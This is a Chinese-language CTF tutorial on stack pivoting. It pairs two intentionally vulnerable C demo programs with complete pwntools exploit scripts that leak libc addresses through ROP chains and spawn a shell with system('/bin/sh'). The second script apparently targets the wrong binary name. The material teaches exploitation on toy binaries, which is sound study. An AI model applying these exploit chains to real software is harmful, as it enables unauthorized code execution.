一、前言
现在的CTF比赛中很难在大型比赛中看到栈溢出类型的赛题,而即使遇到了也是多种利用方式组合出现,尤其以栈迁移配合其他利用方式来达到组合拳的效果,本篇文章意旨通过原理+例题的形式带领读者一步步理解栈迁移的原理以及在ctf中的应用。
二、前置知识
在笔者看来栈迁移的原理其实可以总结为一句话:因为栈溢出字节过少所以劫持rsp寄存器指向攻击者提前布置好payload的内存地址,已达到扩充溢出字节数的目的。 以一个简单的demo1为例,程序源码以及编译指令如下所示:
#include <stdio.h>
char buf1[0x100];
void main() {
char buf2[0x40];
puts("First: ");
read(0, buf1, 0x100);
puts("Second: ");
read(0, buf2, 0x60);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c
程序的流程非常简单存在两个输出,第一次是往全局变量buf1第二次是往局部变量buf2中写入。可以看到在第二次写入时存在明显的栈溢出漏洞,但是溢出的字节数只够写入0x18大小的字节,如果要构造gadget泄露内存地址,最短的ROP链也需要0x20的字节才可以在泄露内存后返回输入点继续执行程序。
在这种情况就可以使用栈迁移的方式来扩大溢出字节数的大小,在前面说过栈迁移的本质就是劫持rsp寄存器指向攻击者提前布置好payload的内存地址,而劫持rsp寄存器的指令有很多,最常用的就是函数的退栈返回指令leave; ret。 可以分成两部分来理解这条指令。首先执行的是leave指令,这条指令共执行了两个操作mov rsp, rbp和pop rbp,其中rsp寄存器的指向变化如下图所示,可以看到在执行完leave指令后rsp寄存器指向了返回地址;随后会执行ret指令,这条指令可以理解成pop rip。因为此时rsp寄存器指向rbp+8即函数的返回地址,所以pop给rip寄存器的就是函数的返回地址,退栈完成。
在了解这条指令后不难发现,如果利用溢出漏洞可以覆盖rbp的值为一个已知地址,那么在执行过两次leave; ret指令后,就可以劫持rsp寄存器到任意地址,此时rsp寄存器指向的地址即为新的栈地址,只要事先在新地址处布置好想要执行的rop gadget,那么溢出字节过少这个问题就迎刃而解了。
根据上面介绍的栈迁移原理,可以总结出使用栈迁移的一些必要条件
- 存在可以劫持程序流和控制rbp寄存器的漏洞
- 攻击者可以确定准确某一块具有读写权限的地址
- 在进行栈迁移前需要在这块地址上进行rop gadget布局
三、例题讲解
3.1 例题demo1
在理解了栈迁移的原理后可以通过这个demo来练练手了,进行编译时未开启Canary和PIE保护,NX保护开启防止写入shellcode
这里先将大体的利用思路总结出来,其中的实现细节实现会在下文中进行说明。
- 未开启PIE保护,可以确定第一次写入的地址记作addr1,在此地址处布置rop gadget来实现泄露LIBC地址并返回主函数
- 利用第二次写入存在的栈溢出漏洞覆盖rbp为addr1,rip为指令leave; ret的地址实现栈迁移
- 返回主函数后利用ret2libc执行system("/bin/sh")获取shell
3.1.1 栈迁移布局
首先我们利用第一次输入进行rop chain布局,并利用第二次栈溢出漏洞覆盖rbp为伪栈地址劫持rip为leave; ret指令地址,内存变化如下图所示。 细心的同学会发现,我们在第一次进行rop chain布局前有一小段padding填充在前面,这是因为在我们进行栈迁移后,程序指令中所有对于栈的操作都会在伪栈内进行,而伪栈地址与got表地址相邻,填入这小段padding的目的就是为了避免程序在对伪栈进行读写数据时造成内存数据段内关键信息被覆盖,从而造成crash现象。
在汇编中当我们要对局部变量进行操作时,一般都是用rbp栈底寄存器来定位,如下图所示。这一点在栈迁移中可以让我们构造出一个类似于链表的利用结构,每次布置rop chain时不断将rbp寄存器赋值为伪栈地址,然后跳转到主函数的写入函数处,因为局部变量寻址是通过rbp寄存器,所以我们可以不断进行rop chain的布局。 在第一次进行rop chain的布局中控制rbp寄存器指向新的伪栈地址,那么在返回主函数后执行read函数时,写入地址就是新的伪栈地址,这时只要利用栈溢出漏洞去构造ret2libc即可getshell。
3.1.2 EXP
from pwn import *
p = process('./demo1')
libc = ELF('./demo1').libc
fake_stack = 0x601060
leave_ret = 0x40058E
puts_plt = 0x400430
puts_got = 0x601018
pop_rdi = 0x4005f3
read_text = 0x400572
payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)
p.sendafter('First:', payload1)
payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret)
p.sendafter('Second:', payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system)
p.send(payload3)
p.interactive()
3.2 例题demo2
在CTF比赛中通常只有一次写入机会,这边给出demo2的源码以及编译命令。
# include <stdio.h>
# include <string.h>
void main() {
char buf[0x28];
puts("Hello Hacker.");
read(0, buf, 0x40);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c
与demo1一样demo2未开启Canary与PIE保护,不同的是demo2中只有一次输入机会,并且溢出字节数只能覆盖返回地址。 结合之前讲解的栈迁移技巧,首先在劫持rsp前需要进行rop chain布局,程序并没有一次可以往伪栈布局的机会,但是可以利用劫持程序流的方式来构造这一条件。 观察程序的汇编代码如下图所示,在对局部变量buf进行寻址时使用了rbp寄存器,那么我们可以利用这一点配合栈溢出漏洞来实现伪栈上的rop布局。利用思路如下所示,其中的实现细节实现会在下文中进行说明。
- 利用栈溢出漏洞劫持rbp寄存器为伪栈地址,返回地址为0x40054b(图中主程序的输入函数),即可在返回主程序后对伪栈进行rop chain的布局
- 对伪栈进行rop chain的布局,泄露LIBC地址并返回主函数
- 返回主函数后利用栈溢出漏洞配合栈迁移+ret2libc完成getshell
3.2.1 伪栈rop布局
第一次leave; ret是主函数退栈时执行的,利用栈溢出漏洞覆盖rbp为伪栈地址,rsp为主函数地址。当我们再次来到主函数的输入函数时即可在伪栈上布置rop chain。此时的内存变化如下图所示
第二次leave; ret指令依然来自主函数退栈时执行,在伪栈上布置好rop chain后程序执行退栈操作,此时rbp寄存器内保存fack_stack-0x30的地址即rop chain地址+0x8的位置处,rsp寄存器被劫持到伪栈上,此时的内存变化如下图所示
这里为什么是fake_stack-0x30的地址呢?因为在对局部变量buf进行寻址时使用到rbp寄存器,而本题中的buf地址来自[rbp-0x30]的地址,所以如果想要将rsp劫持到rop chain的位置,就需要对rbp寄存器赋值为fakc_stack-0x30,那么在执行第三次leave的时候,rsp寄存器就劫持到rop chain的地址处,此时的内存变化如下图所示
泄露完LIBC地址后,劫持程序流返回主函数,利用read函数对伪栈进行最后一次rop布局,需要注意此时的写入地址是fake_stack-0x30,所以在栈迁移时rbp寄存器的值为fake_stack-0x30-0x30-0x8的地址处,再执行一次leave; ret时即可将rsp寄存器劫持到ret2libc rop地址处。内存变化如下图所示
3.2.2 EXP
from pwn import *
context.log_level = 'debug'
p = process('./demo1')
libc = ELF('./demo1').libc
read_text = 0x40054B
fake_rbp = 0x601500
pop_rdi = 0x4005d3 # pop rdi; ret;
puts_plt = 0x400430
puts_got = 0x601018
leave_ret = 0x400567
# gdb.attach(p, 'b *0x400567')
payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text)
p.sendafter("Hello Hacker.", payload1)
payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret)
p.send(payload2)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))
payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret)
p.send(payload3)
p.interactive()